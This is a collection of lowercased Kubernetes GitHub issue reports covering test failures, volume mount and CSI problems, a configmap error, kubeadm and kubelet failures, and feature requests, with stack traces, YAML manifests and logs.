0x49baa9\ttesting.runtests.func1+0xb9\t/usr/local/go/src/testing/testing.go:793 0x496bd9\ttesting.trunner+0xc9\t\t/usr/local/go/src/testing/testing.go:610 0x49859a\ttesting.runtests+0x4ba\t\t/usr/local/go/src/testing/testing.go:799 0x49776f\ttesting.  m .run+0x12f\t\t/usr/local/go/src/testing/testing.go:743 0x401428\tmain.main+0x1b8\t\t\tk8s.io/kubernetes/federation/pkg/federation-controller/secret/_test/_testmain.go:54 0x430fec\truntime.main+0x18c\t\t/usr/local/go/src/runtime/proc.go:183 0x4a89cd\tk8s.io/kubernetes/federation/pkg/federation-controller/secret.  secretcontroller .run.func1+0x4d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller.go:238 0xb722e5\tk8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher.func1+0xc5\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/record/event.go:228 0xbaa332\tk8s.io/kubernetes/pkg/watch.  broadcaster .loop+0x92\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/watch/mux.go:201 0xbb31dd\tk8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon+0x9d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 0x57e556\tk8s.io/kubernetes/federation/pkg/federation-controller/util.startbackoffgc.func1+0x126\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/backoff.go:28 0x5502bd\truntime/pprof.writeruntimeprofile+0xbd\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:614 0x550059\truntime/pprof.writegoroutine+0xc9\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:576 0x54b8dd\truntime/pprof.  profile .writeto+0x47d\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:298 0xbf53d6\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.checkobjectfromchan+0x2a6\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:256 0x4a605d\tk8s.io/kubernetes/federation/pkg/federation-controller/secret.testsecretcontroller+0x1bfd\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller_test.go:142 0x496bd9\ttesting.trunner+0xc9\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/testing/testing.go:610 <autogenerated>:10: \r                        \r\terror trace:\tsecret_controller_test.go:143 \t\r\terror:\t\treceived unexpected error \ failed to get an object from channel\  \t <autogenerated>:10: \r                        \r\terror trace:\tsecret_controller_test.go:150 \t\r\terror:\t\treceived unexpected error \ timed out waiting for the condition\  \t\r\tmessages:\tsecret should have been updated in the informer store \t       previous issues for this test:  33880  36422  36473

in https://github.com/kubernetes/kubernetes/issues/37981, it appears that at least 2 test timeouts are caused by proxy requests to pods hanging indefinitely  at least hours . the client in the e2e tests should timeout these requests within a reasonable limit.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/4365/ failed:  k8s.io  services should create endpoints for unready pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1185 jan 27 20:54:59.836: expected un-ready endpoint for service slow-terminating-unready-pod within 5m0s, stdout:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1166       previous issues for this test:  26172

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r google container engine, 1.5.2\r \r   what happened  :\r \r i created a selectorless service and configured the endpoint to point at the clusterip of another service in a different namespace, as described in the documentation: \r https://kubernetes.io/docs/user-guide/services/ services-without-selectors\r \r this is supported behaviour  \ you want to point your service to a service in another namespace or on another cluster\  .\r \r any requests on the external ip of the selectorless service hang.\r \r   what you expected to happen  :\r \r requests to be sent to the target service.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r start this stack:\r \r    yaml\r ---\r kind: namespace\r apiversion: v1\r metadata:\r   name: reproducer-alpha\r ---\r kind: pod\r apiversion: v1\r metadata:\r   name: alpha\r   namespace: reproducer-alpha\r   labels:\r     service: alpha\r spec:\r   containers:\r     - name: alpha\r       image: robhaswell/hello-env\r       env:\r         - name: hello_msg\r           value: i am alpha\r       ports:\r         - containerport: 8080\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: alpha\r   namespace: reproducer-alpha\r spec:\r   ports:\r     - protocol: tcp\r       port: 8080\r       targetport: 8080\r   selector:\r     service: alpha\r   clusterip: 10.3.250.250\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: frontend\r   namespace: default\r spec:\r   ports:\r     - protocol: tcp\r       port: 8080\r       targetport: 8080\r   type: loadbalancer\r ---\r kind: endpoints\r apiversion: v1\r metadata:\r   name: frontend\r   namespace: default\r subsets:\r   - addresses:\r     - ip: 10.3.250.250\r     ports:\r     - port: 8080\r    \r \r wait for the  frontend  service to be allocated an ip, then try to hit it with curl on port 8080:  curl http://external-ip:8080 . there is no output. i would expect the output to be 'i am alpha'.\r \r   anything else we need to know  :\r \r

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare mental,  2 core 2g\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : 3.10.0-327.el7.x86_64\r -   install tools  : scaleio2\r -   others  :\r \r \r   what happened  :\r 1. create secret and storageclass successfully\r 2. create persistentvolumeclaims successfully, and i can see a volume created successfully on scaleio, and but mapped, it is expected.\r 3. i create pod with persistentvolumeclaims which is based on persistentvolumeclaims, i can see the volume is attached on one node with \ fdisk -l\  and scaleio also says it is mapped to on sdc.\r \r  pod event says :mountvolume.setup failed for volume \ kubernetes.io/scaleio/beeefcfd-3163-11e7-9abf-005056a3fdbf-pvc-561b808a-3163-11e7-9abf-005056a3fdbf\   spec.name: \ pvc-561b808a-3163-11e7-9abf-005056a3fdbf\   pod \ beeefcfd-3163-11e7-9abf-005056a3fdbf\   uid: \ beeefcfd-3163-11e7-9abf-005056a3fdbf\   with: volume attach timeout\r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ pod-sio-small\ . list of unattached/unmounted volumes= test-data \r \r   what you expected to happen  :\r i expect pod can run and mount the volume successfully.  \r \r   how to reproduce it    as minimally and precisely as possible :\r create storageclass, persistentvolumeclaim, pod\r file: sc.yaml\r \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: sio-small\r provisioner: kubernetes.io/scaleio\r parameters:\r   gateway: https://192.168.2.76:443/api\r   system: test\r   protectiondomain: default\r   storagepool: defaultsp\r   storagemode: thinprovisioned\r   secretref: sio-secret\r   fstype: ext4\r \r kubectl --kubeconfig /etc/kubernetes/admin.conf create -f ./sc.yaml\r \r \r file sc-pvc.yaml\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc-sio-small\r   annotations:\r       volume.beta.kubernetes.io/storage-class: sio-small\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 8gi\r \r \r kubectl --kubeconfig /etc/kubernetes/admin.conf create -f ./sc-pvc.yaml\r \r \r file pod-sc-pvc.yaml\r \r kind: pod\r apiversion: v1\r metadata:\r   name: pod-sio-small\r spec:\r   containers:\r     - name: pod-sio-small-container\r       image: nginx\r       volumemounts:\r       - mountpath: /test\r         name: test-data\r   volumes:\r     - name: test-data\r       persistentvolumeclaim:\r         claimname: pvc-sio-small\r \r kubectl --kubeconfig /etc/kubernetes/admin.conf create -f ./pod-sc-pvc.yaml\r \r kubectl --kubeconfig /etc/kubernetes/admin.conf describe po pod-sio-small\r \r   anything else we need to know  :\r controller manager logs says : \r w0505 07:11:49.782385       1 reflector.go:323  k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:192: watch of <nil> ended with: etcdserver: mvcc: required revision has been compacted\r e0505 07:14:50.804000       1 sio_client.go:300  scaleio: drv_cfg --query_guid failed: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:50.804019       1 sio_mgr.go:216  scaleio: failed to get instanceid: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:50.804030       1 sio_volume.go:222  scaleio: failed to delete volume sio-e8e5e41b316011e7b3fb00505: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:50.807897       1 goroutinemap.go:164  operation for \ delete-pvc-e8e46e13-3160-11e7-9abf-005056a3fdbf e9112f51-3160-11e7-9abf-005056a3fdbf \  failed. no retries permitted until 2017-05-05 07:14:51.30787453 +0000 utc  durationbeforeretry 500ms . error: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:55.049115       1 sio_client.go:300  scaleio: drv_cfg --query_guid failed: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:55.049139       1 sio_mgr.go:216  scaleio: failed to get instanceid: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:55.049149       1 sio_volume.go:222  scaleio: failed to delete volume sio-e8e5e41b316011e7b3fb00505: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r e0505 07:14:55.049182       1 goroutinemap.go:164  operation for \ delete-pvc-e8e46e13-3160-11e7-9abf-005056a3fdbf e9112f51-3160-11e7-9abf-005056a3fdbf \  failed. no retries permitted until 2017-05-05 07:14:56.049159522 +0000 utc  durationbeforeretry 1s . error: fork/exec /opt/emc/scaleio/sdc/bin/drv_cfg: no such file or directory\r w0505 07:21:00.799008       1 reflector.go:323  k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:192: watch of <nil> ended with: etcdserver: mvcc: required revision has been compacted\r w0505 07:36:53.854667       1 reflector.go:323  k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:192: watch of <nil> ended with: etcdserver: mvcc: required revision has been compacted\r w0505 07:46:41.932645       1 reflector.go:323  k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:192: watch of <nil> ended with: etcdserver: mvcc: required revision has been compacted\r \r \r \r but i can see \ /opt/emc/scaleio/sdc/bin/drv_cfg\  on all nodes.

this is a feature request.\r \r i'd like to reuse methods like  newdeploymentinformer    https://github.com/kubernetes/kubernetes/blob/b844f7d4a4018beb664a9f0b075d83f717a631ab/staging/src/k8s.io/client-go/informers/apps/v1beta1/deployment.go l44  but they are private at the moment.\r the use case: i need to construct informers for a specific namespace  or a set of namespaces  and instead of reusing this code i have to duplicate it many times  per object kind . would be awesome if informers generator is updated to expose an additional method that does the same but also takes a namespace name as an argument. seems to be no risk and a trivial change.\r i'm more than happy to make the change myself if some guidance is provided : \r \r edit: additional details about the use case: i want to be able to limit  smith  https://github.com/atlassian/smith  to only work with a single namespace because it may be run in a restricted environment where it only has permissions to work within a single namespace. that is a real use case: we have a cluster where a user  a team  gets very limited permissions - can only do things within their own namespace. however such team should be able to use tools like smith.\r \r i had to copy-paste and modify lots of code for informers i need - see https://github.com/atlassian/smith/pull/58/files diff-e2db373b7d288a95d41535cb69e73f7d

  /area/configmap-api\r \r   what happened  :\r i have a configmap, but cannot map it as file to the container.\r \r i have found similar issues  45000  44815  29297 but seems not helping my case...\r \r configmap:\r \r kubectl get configmaps uploads-ini -o yaml\r \r    \r apiversion: v1\r data:\r   uploads.ini: |-\r     file_uploads = on\r     memory_limit = 64m\r     upload_max_filesize = 64m\r     post_max_size = 64m\r     max_execution_time = 600\r kind: configmap\r metadata:\r   creationtimestamp: 2017-11-16t10:48:09z\r   name: uploads-ini\r   namespace: default\r   resourceversion: \ 1338\ \r   selflink: /api/v1/namespaces/default/configmaps/uploads-ini\r   uid: a2af8e4f-cabb-11e7-896b-42010a9a0157\r    \r \r deploy yaml:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: kloiacom-wpress\r   labels:\r     app: kloiacom-wpress\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: kloiacom-wpress\r   template:\r     metadata:\r       labels:\r         app: kloiacom-wpress\r     spec:\r       containers:\r         - image: wordpress\r           name: kloiacom-wpress\r           env:\r           - name: wordpress_db_host\r             value: mysql:3306\r           - name: wordpress_db_password\r             valuefrom:\r               secretkeyref:\r                 name: mysql\r                 key: password\r           - name: wordpress_db_name\r             value: kloiacom\r           ports:\r             - containerport: 80\r               name: kloiacom-wpress\r           volumemounts:\r             - name: wordpress-persistent-storage\r               mountpath: /var/www/html\r             - name: uploads-ini\r               mountpath: /usr/local/etc/php/conf.d/uploads.ini\r               subpath: uploads.ini\r       volumes:\r         - name: wordpress-persistent-storage\r           gcepersistentdisk:\r             pdname: kloiacom-wordpress-disk\r             fstype: ext4\r         - name: uploads-ini\r           configmap:\r             name: upload-ini\r \r    \r pod describe:\r \r kubectl describe po kloiacom-wpress-3349396449-v1fth\r \r    \r name:\t\tkloiacom-wpress-3349396449-v1fth\r namespace:\tdefault\r node:\t\tgke-wpress-cluster-1-default-pool-28078aa6-83hw/10.154.0.4\r start time:\tfri, 17 nov 2017 17:13:46 +0000\r labels:\t\tapp=kloiacom-wpress\r \t\tpod-template-hash=3349396449\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ kloiacom-wpress-3349396449\ ,\ uid\ :\ ac05bb78-cbba-11e7-896b-42010...\r \t\tkubernetes.io/limit-ranger=limitranger plugin set: cpu request for container kloiacom-wpress\r status:\t\tpending\r ip:\r controllers:\treplicaset/kloiacom-wpress-3349396449\r containers:\r   kloiacom-wpress:\r     container id:\r     image:\t\twordpress\r     image id:\r     port:\t\t80/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     requests:\r       cpu:\t100m\r     environment:\r       wordpress_db_host:\tmysql:3306\r       wordpress_db_password:\t<set to the key 'password' in secret 'mysql'>\toptional: false\r       wordpress_db_name:\tkloiacom\r     mounts:\r       /usr/local/etc/php/conf.d/uploads.ini from uploads-ini  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-c3qjg  ro \r       /var/www/html from wordpress-persistent-storage  rw \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   uploads-ini:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tupload-ini\r     optional:\tfalse\r   wordpress-persistent-storage:\r     type:\tgcepersistentdisk  a persistent disk resource in google compute engine \r     pdname:\tkloiacom-wordpress-disk\r     fstype:\text4\r     partition:\t0\r     readonly:\tfalse\r   default-token-c3qjg:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-c3qjg\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpathtype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t---------------------\t------\t\t-------\r   2d\t\t2m\t\t1995\tkubelet, gke-wpress-cluster-1-default-pool-28078aa6-83hw\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ uploads-ini\  : configmaps \ upload-ini\  not found\r   2d\t\t1m\t\t1784\tkubelet, gke-wpress-cluster-1-default-pool-28078aa6-83hw\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ kloiacom-wpress-3349396449-v1fth_default ac07e716-cbba-11e7-896b-42010a9a0157 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ kloiacom-wpress-3349396449-v1fth\ . list of unattached/unmounted volumes= uploads-ini \r   2d\t\t1m\t\t1784\tkubelet, gke-wpress-cluster-1-default-pool-28078aa6-83hw\t\t\twarning\t\tfailedsync\terror syncing pod\r    \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r you can refer to https://github.com/kloia/wpress\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.8-gke.0\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :  1.7.8-gke.0\r - kernel  e.g.  uname -a  : 1.7.8-gke.0\r - install tools: 1.7.8-gke.0\r - others:\r

can weave-net be supported on windows server 2016 in a kubernetes cluster environment??\r \r i have used:\r kubernetes 1.9.3 alpha\r \r if i create a weave-net network with docker on windows server 2016, the error message is \ plugin can not be allocated\ \r \r if i create a weave-net pod on windows server 2016, i got the error messages.\r \r e1202 10:58:09.775691 7076 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ weave-net-drbkl\ : error response from daemon: no such network: host\r e1202 10:58:09.775691 7076 kuberuntime_sandbox.go:54  createpodsandbox for pod \ weave-net-drbkl_kube-system 9700a989-d74f-11e7-a4cd-0289db2a7c18 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ weave-net-drbkl\ : error response from\r daemon: no such network: host\r e1202 10:58:09.776690 7076 kuberuntime_manager.go:647  createpodsandbox for pod \ weave-net-drbkl_kube-system 9700a989-d74f-11e7-a4cd-0289db2a7c18 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ weave-net-drbkl\ : error response fro\r m daemon: no such network: host\r \r https://github.com/weaveworks/weave/issues/3193\r \r can somebody help?\r \r thank you very much.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r teardown path does not contain  volume_id  or  driver_name \r \r   during mount, the csi mounter  i.e.  newmounter ...   , sets  volumeid  and  drivername  to  pvsource.volumehandle  and  pvsource.driver   see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_plugin.go l143 .\r    volumeid   and  drivername  are then used to generate the target mount path: e.g.  /var/lib/kubelet/pods/e6a8b147-d74d-11e7-a08f-42010a800002/volumes/kubernetes.io~csi/com.google.csi~gcepd/mypd   see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_mounter.go l54 .\r   on unmount, the csi unmounter leaves  volumeid   and  drivername  empty  see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_plugin.go l151 , because it does not have the volume spec on unmount  kubernetes wants to maintain the ability to unmount even if a spec is not available .\r   therefore when the path to unmount is generated, it is missing the  volumeid   and  drivername  and the unmount function will either be unable to establish a connection to the csi client  because  volumeid   and  drivername  is missing  or the csi  nodeunpublishvolumerequest  receives an incomplete path  because : e.g.  /var/lib/kubelet/pods/e6a8b147-d74d-11e7-a08f-42010a800002/volumes/kubernetes.io~csi .\r \r   what you expected to happen  :\r on unmount function should be able to call csi  nodeunpublishvolumerequest  without issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r   anything else we need to know?  :\r possible solutions:\r \r 1. attempt to parse the target path to recover these fields\r       cons:\r         if multiple csi volumes exist for 1 pod, this may get tricky.\r         if csi volume_id is very long or contains invalid characters recovery via path may not be possible.\r 2. store required information   volumeid   and  drivername   in a file along with mount.\r      cons: managing a file can get tricky for backwards compatibility.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this is continuation of the work started in https://github.com/kubernetes/kubernetes/issues/58536. the below list outlines work items related to server-side printing in 1.11:\r \r   server  :\r -  x  ~~determine whether to have a shorthand mime-type for table  application/json+meta+v1+table  or similar~~ \r -  x  move the openapi column rendering for crd to the server in the crd implementation  continuation of  60269  https://github.com/kubernetes/kubernetes/pull/60991\r -  x  do a final pass on the default metadata renderer  the generic one \r -  x  add a \ example fuzzer\  that returns a table filled with all the values we could anticipate so that it's easy to test client impls\r -    ~~review the table api with a js web console user~~ the current history proved the table output is very good. \r -  x  look at a csv mime type that uses table printing\r -  x  reevaluate the  creationtimestamp  to be returned as timestamp and not interpreted value.\r \r   client  :\r -  x  sorting and printing should be using the table but with full objects returned via the print api   ?includeobject=object   and then doing the sort on nested, as should custom columns.\r -  x  sorting in general needs to be looked at\r -  x  turn server-side print on by default   61477 \r -  x  improve sorting in  kubectl get   https://github.com/kubernetes/kubernetes/pull/67211 updated the sorter in  kubectl get  to handle server-side printing. we need to improve performance of the sorter to handle large lists of resources better \r -     ~~custom-columns in  kubectl get  need to support  table  objects as part of server-side printing. currently they fallback to old printing behavior~~ custom columns will be using regular get since they need to operate on full object to be able to present fields requested by user. using server-side print would be an overkill for this. \r -  x   kubectl get --watch  behavior needs to be updated to use server-side printing. we need server events to include  table  objects before we can move forward with this. - https://github.com/kubernetes/kubernetes/pull/76161

   \r   what happened  :\r error executing   _kubeadm upgrade plan_  \r \r   what you expected to happen  :\r to view component versions\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r  root@app197 gabriel $ /tmp/kubeadm upgrade plan\r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r could not read manifests from: /etc/kubernetes/manifests, error: failed to check if etcd pod implements tls: failed to read manifest for \ /etc/kubernetes/manifests/etcd.yaml\ : open /etc/kubernetes/manifests/etcd.yaml: no such file or directory\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.10.0  \r - cloud provider or hardware configuration:   vmware  \r - os  e.g. from /etc/os-release :   centos 7.4  \r - kernel  e.g.  uname -a  :   3.10.0-693.21.1.el7  \r

is this a bug report or feature request?:\r \r     uncomment only one, leave it on its own line:\r \r  \r i have cpu requests and limits. i'd like another setting: kill off pod if definedd  cpu limit is reached. this way, if an application goes awry and hits the cpu limit k8s can terminate the pod.\r i don't mind if this is instantaneous or the threshold must be reached for a period  in my application, as soon as limit reached would be totally fine \r for example, in the yml snippit below, if cpu utilisation reaches 1500m then kill it!\r \r         resources:\r           limits:\r             cpu: 1500m\r             memory: 512mi\r           requests:\r             cpu: 500m\r             memory: 256mi\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r @kubernetes/sig-storage-bugs \r \r   what happened  :\r http://k8s-testgrid.appspot.com/sig-storage gce-slow\r \r it's likely caused by https://github.com/kubernetes/kubernetes/pull/66172\r \r cc @krunaljain

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r in docs page https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ clusterrole-v1-rbac-authorization-k8s-io,  policyrule  link does not go to an anchor that exists. link is to  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ policyrule-v1-rbac-authorization-k8s-io , but such an anchor does not exist. there are three possible links:\r \r    https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ policyrule-v1beta1-rbac-authorization-k8s-io \r    https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ policyrule-v1alpha1-rbac-authorization-k8s-io \r    https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ policyrule-v1-rbac \r \r   what you expected to happen  :\r \r link should go to a description of a policyrule, probably  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ policyrule-v1-rbac ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ clusterrole-v1-rbac-authorization-k8s-io\r 2. click  policyrule \r 3. observe browser does nowhere\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a; docs v1.11\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

c:\\users\\username\\desktop\\kub>kubectl.exe  proxy \r starting to serve on 127.0.0.1:8001 \r i0401 13:20:30.461961    5940 log.go:172  http: proxy error: dial tcp  ::1 :8080: connectex: no connection could be made because the target machine actively refused it\r \r $ kubectl.exe config view\r apiversion: v1\r clusters:   \r contexts:   \r current-context: \ \ \r kind: config\r preferences: {}\r users:   \r \r

kube-addon-update.sh  does not check the status of the  get-addon-nsnames-from-server  call to fetch the list of installed addons.  if apiserver is unavailable  or if the request times out  this causes it to think the error message is the list of services and enter a loop of trying to remove imaginary services and re-create existing ones.   i assume all of these just error out quickly but the retry policy means it ends up running all 60 retries x num addons which on a limited spec  eg the default aws t2.micro configuration  can amplify the original failure and help brick the master node  see  18975   the simple fix to check status and abort  https://github.com/petermd/kubernetes/commit/4d4f1c645cbb75c444f7e33463b871c21da7890b  is enough to stop the problem, and any missing addons will be updated on the next iteration.  it _might_ be worth considering making the retry policy back off and/or not use the entire check interval as the retry period  otherwise you could potentially have multiple instances running trying to update the same service

we run openshift in master-slave setup and our master crashes once in a while  from unrelated reason . when a new master starts, it does not detach volumes that should be detached.  steps to reproduce on aws with standard kubernetes: 1. run a  aws-aware cluster, hack/local-up-cluster.sh is fine 2. create several pods that use claims that point to aws pvs 3. kill controller-manager process 4. delete all pods 5. start a new controller manager  result: volumes are attached forever  or at least for next 30 minutes . it should be reproducible also on gce.  shouldn't there be a periodic sync that ensures the controller finds deleted pods? this comment looks scary: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/attach_detach_controller.go l76  affected version: kubernetes-1.3.8  @saad-ali @jingxu97 @kubernetes/sig-storage

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubelet.service fail to start up\r \r   what you expected to happen  :\r kubelet.service start up success\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     bash\r  root@test-node1 system   systemctl status kubelet -l\r ● kubelet.service - kubernetes kubelet server\r    loaded: loaded  /usr/lib/systemd/system/kubelet.service; disabled; vendor preset: disabled \r    active: failed  result: start-limit  since 三 2017-10-25 16:08:09 cst; 8s ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r   process: 18607 execstart=/usr/local/bin/kubelet $kube_logtostderr $kube_log_level $kubelet_api_server $kubelet_address $kubelet_port $kubelet_hostname $kube_allow_priv $kubelet_pod_infra_container $kubelet_args  code=exited, status=2 \r  main pid: 18607  code=exited, status=2 \r \r 10月 25 16:08:09 test-node1 systemd 1 : unit kubelet.service entered failed state.\r 10月 25 16:08:09 test-node1 kubelet 18607 : --vmodule modulespec                                       comma-separated list of pattern=n settings for file-filtered logging\r 10月 25 16:08:09 test-node1 kubelet 18607 : --volume-plugin-dir string                                 <warning: alpha feature> the full path of the directory in which to search for additional third party volume plugins  default \ /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\  \r 10月 25 16:08:09 test-node1 kubelet 18607 : --volume-stats-agg-period duration                         specifies interval for kubelet to calculate and cache the volume disk usage for all pods and volumes.  to disable volume calculations, set to 0.  default 1m0s \r 10月 25 16:08:09 test-node1 systemd 1 : kubelet.service failed.\r 10月 25 16:08:09 test-node1 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r 10月 25 16:08:09 test-node1 systemd 1 : start request repeated too quickly for kubelet.service\r 10月 25 16:08:09 test-node1 systemd 1 : failed to start kubernetes kubelet server.\r 10月 25 16:08:09 test-node1 systemd 1 : unit kubelet.service entered failed state.\r 10月 25 16:08:09 test-node1 systemd 1 : kubelet.service failed.\r    \r 